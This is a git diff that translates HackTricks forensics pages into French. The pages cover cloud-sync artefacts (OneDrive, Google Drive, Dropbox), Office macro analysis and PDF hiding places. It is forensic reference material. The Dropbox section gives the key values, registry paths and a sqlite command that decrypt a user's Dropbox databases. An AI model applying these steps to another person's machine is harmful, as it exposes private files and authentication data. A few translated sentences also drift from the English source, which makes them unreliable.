-* Report generation time -* Size of the HD of the OS +* Taille en octets +* Date de création +* Date de modification +* Nombre de fichiers dans le cloud +* Nombre de fichiers dans le dossier +* **CID** : ID unique de l'utilisateur OneDrive +* Heure de génération du rapport +* Taille du disque dur du système d'exploitation -Once you have found the CID it's recommended to **search files containing this ID**. You may be able to find files with the name: _**\.ini**_ and _**\.dat**_ that may contain interesting information like the names of files synchronized with OneDrive. +Une fois que vous avez trouvé le CID, il est recommandé de **rechercher des fichiers contenant cet ID**. Vous pouvez être en mesure de trouver des fichiers portant le nom : _**\.ini**_ et _**\.dat**_ qui peuvent contenir des informations intéressantes comme les noms des fichiers synchronisés avec OneDrive. ## Google Drive -In Windows, you can find the main Google Drive folder in `\Users\\AppData\Local\Google\Drive\user_default`\ -This folder contains a file called Sync\_log.log with information like the email address of the account, filenames, timestamps, MD5 hashes of the files, etc. Even deleted files appear in that log file with its corresponding MD5. +Sous Windows, vous pouvez trouver le dossier principal de Google Drive dans `\Users\\AppData\Local\Google\Drive\user_default`\ +Ce dossier contient un fichier appelé Sync\_log.log avec des informations telles que l'adresse e-mail du compte, les noms de fichiers, les horodatages, les hachages MD5 des fichiers, etc. Même les fichiers supprimés apparaissent dans ce fichier journal avec leur hachage MD5 correspondant. -The file **`Cloud_graph\Cloud_graph.db`** is a sqlite database which contains the table **`cloud_graph_entry`**. In this table you can find the **name** of the **synchronized** **files**, modified time, size, and the MD5 checksum of the files. +Le fichier **`Cloud_graph\Cloud_graph.db`** est une base de données sqlite qui contient la table **`cloud_graph_entry`**. Dans cette table, vous pouvez trouver le **nom** des **fichiers synchronisés**, l'heure de modification, la taille et la somme de contrôle MD5 des fichiers. -The table data of the database **`Sync_config.db`** contains the email address of the account, the path of the shared folders and the Google Drive version. +Les données de la table de la base de données **`Sync_config.db`** contiennent l'adresse e-mail du compte, le chemin des dossiers partagés et la version de Google Drive. ## Dropbox -Dropbox uses **SQLite databases** to manage the files. In this\ -You can find the databases in the folders: +Dropbox utilise des **bases de données SQLite** pour gérer les fichiers. Dans ce cas,\ +Vous pouvez trouver les bases de données dans les dossiers : * `\Users\\AppData\Local\Dropbox` * `\Users\\AppData\Local\Dropbox\Instance1` * `\Users\\AppData\Roaming\Dropbox` -And the main databases are: +Et les principales bases de données sont : * Sigstore.dbx * Filecache.dbx * Deleted.dbx * Config.dbx -The ".dbx" extension means that the **databases** are **encrypted**. Dropbox uses **DPAPI** ([https://docs.microsoft.com/en-us/previous-versions/ms995355(v=msdn.10)?redirectedfrom=MSDN](https://docs.microsoft.com/en-us/previous-versions/ms995355\(v=msdn.10\)?redirectedfrom=MSDN)) +L'extension ".dbx" signifie que les **bases de données** sont **chiffrées**. Dropbox utilise **DPAPI** ([https://docs.microsoft.com/en-us/previous-versions/ms995355(v=msdn.10)?redirectedfrom=MSDN](https://docs.microsoft.com/en-us/previous-versions/ms995355\(v=msdn.10\)?redirectedfrom=MSDN)) -To understand better the encryption that Dropbox uses you can read [https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html](https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html). +Pour mieux comprendre le chiffrement utilisé par Dropbox, vous pouvez lire [https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html](https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html). -However, the main information is: +Cependant, les informations principales sont : -* **Entropy**: d114a55212655f74bd772e37e64aee9b -* **Salt**: 0D638C092E8B82FC452883F95F355B8E -* **Algorithm**: PBKDF2 -* **Iterations**: 1066 +* **Entropie** : d114a55212655f74bd772e37e64aee9b +* **Sel** : 0D638C092E8B82FC452883F95F355B8E +* **Algorithme** : PBKDF2 +* **Itérations** : 1066 -Apart from that information, to decrypt the databases you still need: +En plus de ces informations, pour déchiffrer les bases de données, vous avez encore besoin de : -* The **encrypted DPAPI key**: You can find it in the registry inside `NTUSER.DAT\Software\Dropbox\ks\client` (export this data as binary) -* The **`SYSTEM`** and **`SECURITY`** hives -* The **DPAPI master keys**: Which can be found in `\Users\\AppData\Roaming\Microsoft\Protect` -* The **username** and **password** of the Windows user +* La **clé DPAPI chiffrée** : Vous pouvez la trouver dans le registre à l'intérieur de `NTUSER.DAT\Software\Dropbox\ks\client` (exportez ces données en binaire) +* Les ruches **`SYSTEM`** et **`SECURITY`** +* Les **clés maîtresses DPAPI** : Qui peuvent être trouvées dans `\Users\\AppData\Roaming\Microsoft\Protect` +* Le **nom d'utilisateur** et le **mot de passe** de l'utilisateur Windows -Then you can use the tool [**DataProtectionDecryptor**](https://nirsoft.net/utils/dpapi\_data\_decryptor.html)**:** +Ensuite, vous pouvez utiliser l'outil [**DataProtectionDecryptor**](https://nirsoft.net/utils/dpapi\_data\_decryptor.html)**:** ![](<../../../.gitbook/assets/image (448).png>) -If everything goes as expected, the tool will indicate the **primary key** that you need to **use to recover the original one**. To recover the original one, just use this [cyber\_chef receipt](https://gchq.github.io/CyberChef/#recipe=Derive\_PBKDF2\_key\(%7B'option':'Hex','string':'98FD6A76ECB87DE8DAB4623123402167'%7D,128,1066,'SHA1',%7B'option':'Hex','string':'0D638C092E8B82FC452883F95F355B8E'%7D\)) putting the primary key as the "passphrase" inside the receipt. - -The resulting hex is the final key used to encrypt the databases which can be decrypted with: +Si tout se passe comme prévu, l'outil indiquera la **clé primaire** dont vous avez besoin pour **récupérer l'originale**. Pour récupérer l'originale, utilisez simplement cette [recette cyber\_chef](https://gchq.github.io/CyberChef/#recipe=Derive\_PBKDF2\_key\(%7B'option':'Hex','string':'98FD6A76ECB87DE8DAB4623123402167'%7D,128,1066,'SHA1',%7B'option':'Hex','string':'0D638C092E8B82FC452883F95F355B8E'%7D\)) en mettant la clé primaire comme "phrase secrète" dans la recette. +L'hexadécimal résultant est la clé finale utilisée pour chiffrer les bases de données qui peuvent être déchiffrées avec : ```bash sqlite -k config.dbx ".backup config.db" #This decompress the config.dbx and creates a clear text backup in config.db ``` +La base de données **`config.dbx`** contient : -The **`config.dbx`** database contains: +* **Email** : L'email de l'utilisateur +* **usernamedisplayname** : Le nom de l'utilisateur +* **dropbox\_path** : Le chemin où se trouve le dossier Dropbox +* **Host\_id : Hash** utilisé pour l'authentification dans le cloud. Cela ne peut être révoqué que depuis le web. +* **Root\_ns** : Identifiant de l'utilisateur -* **Email**: The email of the user -* **usernamedisplayname**: The name of the user -* **dropbox\_path**: Path where the dropbox folder is located -* **Host\_id: Hash** used to authenticate to the cloud. This can only be revoked from the web. -* **Root\_ns**: User identifier +La base de données **`filecache.db`** contient des informations sur tous les fichiers et dossiers synchronisés avec Dropbox. La table `File_journal` est celle qui contient le plus d'informations utiles : -The **`filecache.db`** database contains information about all the files and folders synchronized with Dropbox. The table `File_journal` is the one with more useful information: +* **Server\_path** : Le chemin où se trouve le fichier dans le serveur (ce chemin est précédé par l'`host_id` du client). +* **local\_sjid** : La version du fichier +* **local\_mtime** : La date de modification +* **local\_ctime** : La date de création -* **Server\_path**: Path where the file is located inside the server (this path is preceded by the `host_id` of the client). -* **local\_sjid**: Version of the file -* **local\_mtime**: Modification date -* **local\_ctime**: Creation date +D'autres tables dans cette base de données contiennent des informations plus intéressantes : -Other tables inside this database contain more interesting information: - -* **block\_cache**: hash of all the files and folders of Dropbox -* **block\_ref**: Related the hash ID of the table `block_cache` with the file ID in the table `file_journal` -* **mount\_table**: Share folders of dropbox -* **deleted\_fields**: Dropbox deleted files +* **block\_cache** : Le hash de tous les fichiers et dossiers de Dropbox +* **block\_ref** : Relie l'ID de hash de la table `block_cache` avec l'ID de fichier dans la table `file_journal` +* **mount\_table** : Partage les dossiers de Dropbox +* **deleted\_fields** : Les fichiers supprimés de Dropbox * **date\_added** ![](<../.gitbook/assets/image (9) (1) (2).png>) \ -Use [**Trickest**](https://trickest.io/) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: +Utilisez [**Trickest**](https://trickest.io/) pour facilement construire et **automatiser des workflows** alimentés par les outils communautaires les plus avancés au monde.\ +Obtenez l'accès aujourd'hui : {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} @@ -125,10 +123,10 @@ Get Access Today: ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud). diff --git a/forensics/basic-forensic-methodology/specific-software-file-type-tricks/office-file-analysis.md b/forensics/basic-forensic-methodology/specific-software-file-type-tricks/office-file-analysis.md index 53af1bb74..690fea7ef 100644 --- a/forensics/basic-forensic-methodology/specific-software-file-type-tricks/office-file-analysis.md +++ b/forensics/basic-forensic-methodology/specific-software-file-type-tricks/office-file-analysis.md @@ -1,31 +1,30 @@ -# Office file analysis +# Analyse de fichiers Office
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
![](<../.gitbook/assets/image (9) (1) (2).png>) \ -Use [**Trickest**](https://trickest.io/) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: +Utilisez [**Trickest**](https://trickest.io/) pour créer et **automatiser facilement des workflows** alimentés par les outils communautaires les plus avancés au monde.\ +Obtenez l'accès aujourd'hui : {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} ## Introduction -Microsoft has created **dozens of office document file formats**, many of which are popular for the distribution of phishing attacks and malware because of their ability to **include macros** (VBA scripts). - -Broadly speaking, there are two generations of Office file format: the **OLE formats** (file extensions like RTF, DOC, XLS, PPT), and the "**Office Open XML**" formats (file extensions that include DOCX, XLSX, PPTX). **Both** formats are structured, compound file binary formats that **enable Linked or Embedded content** (Objects). OOXML files are zip file containers, meaning that one of the easiest ways to check for hidden data is to simply `unzip` the document: +Microsoft a créé **des dizaines de formats de fichiers de documents Office**, dont beaucoup sont populaires pour la distribution d'attaques de phishing et de logiciels malveillants en raison de leur capacité à **inclure des macros** (scripts VBA). +De manière générale, il existe deux générations de formats de fichiers Office : les **formats OLE** (extensions de fichier telles que RTF, DOC, XLS, PPT) et les formats "**Office Open XML**" (extensions de fichier qui incluent DOCX, XLSX, PPTX). **Les deux** formats sont des formats binaires de fichiers composés et structurés qui **permettent le contenu lié ou intégré** (objets). Les fichiers OOXML sont des conteneurs de fichiers zip, ce qui signifie que l'un des moyens les plus simples de vérifier la présence de données cachées est simplement de `dézipper` le document : ``` $ unzip example.docx Archive: example.docx @@ -66,29 +65,26 @@ $ tree │ └── theme1.xml └── webSettings.xml ``` +Comme vous pouvez le constater, une partie de la structure est créée par la hiérarchie des fichiers et des dossiers. Le reste est spécifié à l'intérieur des fichiers XML. [_New Steganographic Techniques for the OOXML File Format_, 2011](http://download.springer.com/static/pdf/713/chp%3A10.1007%2F978-3-642-23300-5\_27.pdf?originUrl=http%3A%2F%2Flink.springer.com%2Fchapter%2F10.1007%2F978-3-642-23300-5\_27\&token2=exp=1497911340\~acl=%2Fstatic%2Fpdf%2F713%2Fchp%25253A10.1007%25252F978-3-642-23300-5\_27.pdf%3ForiginUrl%3Dhttp%253A%252F%252Flink.springer.com%252Fchapter%252F10.1007%252F978-3-642-23300-5\_27\*\~hmac=aca7e2655354b656ca7d699e8e68ceb19a95bcf64e1ac67354d8bca04146fd3d) détaille certaines idées pour les techniques de dissimulation de données, mais les auteurs de défis CTF en inventeront toujours de nouvelles. -As you can see, some of the structure is created by the file and folder hierarchy. The rest is specified inside the XML files. [_New Steganographic Techniques for the OOXML File Format_, 2011](http://download.springer.com/static/pdf/713/chp%3A10.1007%2F978-3-642-23300-5\_27.pdf?originUrl=http%3A%2F%2Flink.springer.com%2Fchapter%2F10.1007%2F978-3-642-23300-5\_27\&token2=exp=1497911340\~acl=%2Fstatic%2Fpdf%2F713%2Fchp%25253A10.1007%25252F978-3-642-23300-5\_27.pdf%3ForiginUrl%3Dhttp%253A%252F%252Flink.springer.com%252Fchapter%252F10.1007%252F978-3-642-23300-5\_27\*\~hmac=aca7e2655354b656ca7d699e8e68ceb19a95bcf64e1ac67354d8bca04146fd3d) details some ideas for data hiding techniques, but CTF challenge authors will always be coming up with new ones. - -Once again, a Python toolset exists for the examination and **analysis of OLE and OOXML documents**: [oletools](http://www.decalage.info/python/oletools). For OOXML documents in particular, [OfficeDissector](https://www.officedissector.com) is a very powerful analysis framework (and Python library). The latter includes a [quick guide to its usage](https://github.com/grierforensics/officedissector/blob/master/doc/html/\_sources/txt/ANALYZING\_OOXML.txt). - -Sometimes the challenge is not to find hidden static data, but to **analyze a VBA macro** to determine its behavior. This is a more realistic scenario and one that analysts in the field perform every day. The aforementioned dissector tools can indicate whether a macro is present, and probably extract it for you. A typical VBA macro in an Office document, on Windows, will download a PowerShell script to %TEMP% and attempt to execute it, in which case you now have a PowerShell script analysis task too. But malicious VBA macros are rarely complicated since VBA is [typically just used as a jumping-off platform to bootstrap code execution](https://www.lastline.com/labsblog/party-like-its-1999-comeback-of-vba-malware-downloaders-part-3/). In the case where you do need to understand a complicated VBA macro, or if the macro is obfuscated and has an unpacker routine, you don't need to own a license to Microsoft Office to debug this. You can use [Libre Office](http://libreoffice.org): [its interface](http://www.debugpoint.com/2014/09/debugging-libreoffice-macro-basic-using-breakpoint-and-watch/) will be familiar to anyone who has debugged a program; you can set breakpoints and create watch variables and capture values after they have been unpacked but before whatever payload behavior has executed. You can even start a macro of a specific document from a command line: +Encore une fois, un ensemble d'outils Python existe pour l'examen et l'analyse des documents OLE et OOXML: [oletools](http://www.decalage.info/python/oletools). Pour les documents OOXML en particulier, [OfficeDissector](https://www.officedissector.com) est un cadre d'analyse très puissant (et une bibliothèque Python). Ce dernier inclut un [guide rapide sur son utilisation](https://github.com/grierforensics/officedissector/blob/master/doc/html/\_sources/txt/ANALYZING\_OOXML.txt). +Parfois, le défi n'est pas de trouver des données statiques cachées, mais d'analyser une macro VBA pour déterminer son comportement. C'est un scénario plus réaliste et que les analystes sur le terrain effectuent tous les jours. Les outils de dissémination mentionnés ci-dessus peuvent indiquer si une macro est présente et probablement l'extraire pour vous. Une macro VBA typique dans un document Office, sur Windows, téléchargera un script PowerShell vers %TEMP% et tentera de l'exécuter, auquel cas vous avez maintenant une tâche d'analyse de script PowerShell. Mais les macros VBA malveillantes sont rarement compliquées car VBA est [généralement utilisé comme une plate-forme de lancement pour l'exécution de code](https://www.lastline.com/labsblog/party-like-its-1999-comeback-of-vba-malware-downloaders-part-3/). Dans le cas où vous devez comprendre une macro VBA compliquée, ou si la macro est obfusquée et a une routine de déballage, vous n'avez pas besoin de posséder une licence Microsoft Office pour déboguer cela. Vous pouvez utiliser [Libre Office](http://libreoffice.org): [son interface](http://www.debugpoint.com/2014/09/debugging-libreoffice-macro-basic-using-breakpoint-and-watch/) sera familière à quiconque a débogué un programme; vous pouvez définir des points d'arrêt et créer des variables de surveillance et capturer des valeurs après qu'elles ont été déballées mais avant que le comportement de la charge utile ne soit exécuté. Vous pouvez même démarrer une macro d'un document spécifique à partir d'une ligne de commande: ``` $ soffice path/to/test.docx macro://./standard.module1.mymacro ``` - ## [oletools](https://github.com/decalage2/oletools) +Les `oletools` sont un ensemble d'outils pour analyser les fichiers OLE (Object Linking and Embedding), tels que les fichiers Microsoft Office. Ces outils peuvent être utilisés pour extraire des informations à partir de fichiers Office, telles que les macros, les objets intégrés, les scripts VBA, etc. Les outils `oletools` peuvent également être utilisés pour détecter les fichiers Office malveillants et les exploiter. ```bash sudo pip3 install -U oletools olevba -c /path/to/document #Extract macros ``` +## Exécution automatique -## Automatic Execution +Les fonctions de macro comme `AutoOpen`, `AutoExec` ou `Document_Open` seront **automatiquement** **exécutées**. -Macro functions like `AutoOpen`, `AutoExec` or `Document_Open` will be **automatically** **executed**. - -## References +## Références * [https://trailofbits.github.io/ctf/forensics/](https://trailofbits.github.io/ctf/forensics/) @@ -96,10 +92,10 @@ Macro functions like `AutoOpen`, `AutoExec` or `Document_Open` will be **automat ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud). diff --git a/forensics/basic-forensic-methodology/specific-software-file-type-tricks/pdf-file-analysis.md b/forensics/basic-forensic-methodology/specific-software-file-type-tricks/pdf-file-analysis.md index 9323068d0..88f89b9f2 100644 --- a/forensics/basic-forensic-methodology/specific-software-file-type-tricks/pdf-file-analysis.md +++ b/forensics/basic-forensic-methodology/specific-software-file-type-tricks/pdf-file-analysis.md @@ -1,53 +1,53 @@ -# PDF File analysis +# Analyse de fichiers PDF
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
![](<../.gitbook/assets/image (9) (1) (2).png>) \ -Use [**Trickest**](https://trickest.io/) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: +Utilisez [**Trickest**](https://trickest.io/) pour créer et **automatiser facilement des workflows** alimentés par les outils communautaires les plus avancés au monde.\ +Obtenez l'accès aujourd'hui : {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} -From: [https://trailofbits.github.io/ctf/forensics/](https://trailofbits.github.io/ctf/forensics/) +À partir de : [https://trailofbits.github.io/ctf/forensics/](https://trailofbits.github.io/ctf/forensics/) -PDF is an extremely complicated document file format, with enough tricks and hiding places [to write about for years](https://www.sultanik.com/pocorgtfo/). This also makes it popular for CTF forensics challenges. The NSA wrote a guide to these hiding places in 2008 titled "Hidden Data and Metadata in Adobe PDF Files: Publication Risks and Countermeasures." It's no longer available at its original URL, but you can [find a copy here](http://www.itsecure.hu/library/file/Biztons%C3%A1gi%20%C3%BAtmutat%C3%B3k/Alkalmaz%C3%A1sok/Hidden%20Data%20and%20Metadata%20in%20Adobe%20PDF%20Files.pdf). Ange Albertini also keeps a wiki on GitHub of [PDF file format tricks](https://github.com/corkami/docs/blob/master/PDF/PDF.md). +Le format de fichier PDF est extrêmement compliqué, avec suffisamment de trucs et de cachettes [pour écrire pendant des années](https://www.sultanik.com/pocorgtfo/). Cela le rend également populaire pour les défis de forensique CTF. La NSA a écrit un guide sur ces cachettes en 2008 intitulé "Données cachées et métadonnées dans les fichiers Adobe PDF : Risques de publication et contre-mesures". Il n'est plus disponible à son URL d'origine, mais vous pouvez [trouver une copie ici](http://www.itsecure.hu/library/file/Biztons%C3%A1gi%20%C3%BAtmutat%C3%B3k/Alkalmaz%C3%A1sok/Hidden%20Data%20and%20Metadata%20in%20Adobe%20PDF%20Files.pdf). Ange Albertini tient également un wiki sur GitHub de [trucs de format de fichier PDF](https://github.com/corkami/docs/blob/master/PDF/PDF.md). -The PDF format is partially plain-text, like HTML, but with many binary "objects" in the contents. Didier Stevens has written [good introductory material](https://blog.didierstevens.com/2008/04/09/quickpost-about-the-physical-and-logical-structure-of-pdf-files/) about the format. The binary objects can be compressed or even encrypted data, and include content in scripting languages like JavaScript or Flash. To display the structure of a PDF, you can either browse it with a text editor or open it with a PDF-aware file-format editor like Origami. +Le format PDF est partiellement en texte brut, comme HTML, mais avec de nombreux "objets" binaires dans le contenu. Didier Stevens a écrit [un bon matériel introductif](https://blog.didierstevens.com/2008/04/09/quickpost-about-the-physical-and-logical-structure-of-pdf-files/) sur le format. Les objets binaires peuvent être des données compressées ou même chiffrées, et incluent du contenu dans des langages de script comme JavaScript ou Flash. Pour afficher la structure d'un PDF, vous pouvez soit le parcourir avec un éditeur de texte, soit l'ouvrir avec un éditeur de format de fichier PDF comme Origami. -[qpdf](https://github.com/qpdf/qpdf) is one tool that can be useful for exploring a PDF and transforming or extracting information from it. Another is a framework in Ruby called [Origami](https://github.com/mobmewireless/origami-pdf). +[qpdf](https://github.com/qpdf/qpdf) est un outil qui peut être utile pour explorer un PDF et transformer ou extraire des informations de celui-ci. Un autre est un framework en Ruby appelé [Origami](https://github.com/mobmewireless/origami-pdf). -When exploring PDF content for hidden data, some of the hiding places to check include: +Lors de l'exploration du contenu PDF pour des données cachées, certains des endroits à vérifier incluent : -* non-visible layers -* Adobe's metadata format "XMP" -* the "incremental generation" feature of PDF wherein a previous version is retained but not visible to the user -* white text on a white background -* text behind images -* an image behind an overlapping image -* non-displayed comments +* les couches non visibles +* le format de métadonnées d'Adobe "XMP" +* la fonctionnalité de "génération incrémentielle" de PDF dans laquelle une version précédente est conservée mais pas visible pour l'utilisateur +* texte blanc sur un fond blanc +* texte derrière des images +* une image derrière une image superposée +* commentaires non affichés -There are also several Python packages for working with the PDF file format, like [PeepDF](https://github.com/jesparza/peepdf), that enable you to write your own parsing scripts. +Il existe également plusieurs packages Python pour travailler avec le format de fichier PDF, comme [PeepDF](https://github.com/jesparza/peepdf), qui vous permettent d'écrire vos propres scripts d'analyse.
